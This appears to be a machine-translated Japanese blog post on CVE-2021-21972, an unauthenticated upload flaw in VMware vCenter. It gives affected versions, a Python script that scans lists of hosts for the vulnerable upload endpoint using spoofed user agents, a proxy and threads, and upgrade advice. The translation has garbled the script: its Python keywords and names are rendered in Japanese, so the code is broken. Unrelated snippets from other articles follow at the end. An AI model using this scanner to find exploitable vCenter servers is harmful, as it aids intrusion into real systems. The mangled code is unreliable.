背景CVE-2021-21972 VMware vCenter における認証されていないコマンド実行の脆弱性。この脆弱性により、vCenter サーバー上の任意の場所に Web シェルをアップロードし、Web シェルを実行することができます。 影響を受けるバージョンVMware:ESXi:7.0/6.7/6.5 脆弱性再現fofaクエリ構文: 有価証券
バッチ検証には #-*- コーディング:utf-8 -*- バナー = """ 888888ba dP 88 `8b 88 a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 88 `8b. 88' `88 88 Y8oooooo. 88 88 88 .88 88. .88 88 88 88. .88 88888888P `88888P8 dP `88888P' `88888P' ああああああああああああああああああああああああああああああ @時間:2021/02/24 CVE-2021-21972.py NebulabdSec による C0de - @batsu 「」 印刷(バナー) スレッドプールをインポートする ランダムにインポート 輸入リクエスト argparseをインポートする http.clientをインポートする urllib3をインポートする urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' TARGET_URI = "/ui/vropspluginui/rest/services/uploadova" get_ua() を定義します: first_num = ランダム.randint(55, 62) third_num = ランダム.randint(0, 3200) 4番目の数値 = ランダム.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)'、'(Windows NT 10.0; WOW64)'、'(X11; Linux x86_64)'、 '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML、Gecko など)'、chrome_version、'Safari/537.36'] ) uaを返す def CVE_2021_21972(url): プロキシ = {"scoks5": "http://127.0.0.1:1081"} ヘッダー = { 'ユーザーエージェント': get_ua(), 「コンテンツタイプ」: 「application/x-www-form-urlencoded」 } ターゲット URL = url + TARGET_URI 試す: res = リクエスト.get(targetUrl, ヘッダー=ヘッダー、 タイムアウト=15、 検証=False、 プロキシ=プロキシ) # プロキシ = {'socks5': 'http://127.0.0.1:1081'}) # print(len(res.text)) res.status_code == 405の場合: print("[+] URL:{}---------CVE-2021-21972 脆弱性が存在します".format(url)) # print("[+] コマンド成功結果: " + res.text + "\n") open("vulnerability address.txt", 'a') を fw として実行します: fw.write(url + '\n') それ以外: print("[-] " + url + " CVE-2021-21972 の脆弱性は見つかりませんでした。\n") # except Exception として e: # 印刷(e) を除外する: print("[-] " + url + " リクエストエラー\n") def multithreading(ファイル名, プール=5): 作品 = [] open(filename, "r") を f として実行します: i が f の場合: func_params = [i.rstrip("\n")] # func_params = [i] + [cmd] works.append((func_params, None)) プール = threadpool.ThreadPool(プール) reqs = threadpool.makeRequests(CVE_2021_21972、動作します) [pool.putRequest(req) は reqs 内の req に対して実行されます] プール.wait() main() を定義します: パーサー = argparse.ArgumentParser() パーサー.add_argument("-u", "--url", help="ターゲット URL; 例:http://ip:port") パーサー.add_argument("-f", " - ファイル"、 help="URL ファイル; 例:url.txt") # parser.add_argument("-c", "--cmd", help="実行するコマンド; ") 引数 = パーサー.parse_args() url = 引数.url # cmd = args.cmd ファイルパス = 引数.ファイル url != None かつ file_path == None の場合: CVE_2021_21972(URL) elif url == None かつ file_path != None: multithreading(file_path, 10) # __name__ == "__main__" の場合、デフォルトは 15 スレッドです: 主要() EXP 修理の提案vCenter Server 7.0 を 7.0.U1c にアップグレードする VMware vCenter の不正な任意ファイルアップロード脆弱性 (CVE-2021-21972) に関する記事はこれで終了です。VMware vCenter アップロード脆弱性に関するその他の関連コンテンツについては、123WORDPRESS.COM の過去の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
<<: CSS 前景と背景の自動カラーマッチング技術の紹介 (デモ)
MTR は Mini-Transaction の略です。名前が示すように、これは「最小のトランザクシ...
目次背景は次のとおりです。何が起こるでしょうか?背景は次のとおりです。実際の開発では、ネットワークの...
HTML を学習したり使用したりしたことがある人なら、<a> タグについてよく知っている...
CSSコードコンテンツをクリップボードにコピー.bottomTable{背景色: rgb (249,...
間違いNavicat Premium を使用して MySQL に接続すると、次のエラーが発生します。...
目次遷移フック関数カスタム遷移クラス名遷移グループの使用まとめまずは例を見てみましょうコードは次のと...
コードをコピーコードは次のとおりです。 <html> <ヘッド> <m...
目次1. 変数意味のある名前を使う不必要なコンテキストを追加しないようにするハードコードされた値を避...
最近、Tencent Cloudを使用してサーバーを設定しました。使用中に、tomcatポートにアク...
<br />原文: http://jorux.com/archives/what-is-...
序文ある日、突然 MySQL の次のキー ロックについて尋ねられ、私の即座の反応は次のようなものでし...
lepus3.7 を使用して MySQL データベースを監視中に、次の問題が発生しました。このブログ...
1. プロジェクトの実行時に報告されるエラー情報は次のとおりです。 ファイル "/home...
目次序文最初のステップ:ステップ2: このmy.iniを変更する要約する序文問題の説明:不正な文字列...
目次ミニプログラム開発者ツールのソースコードを表示する方法ミニプログラムアーキテクチャ設計1. ミニ...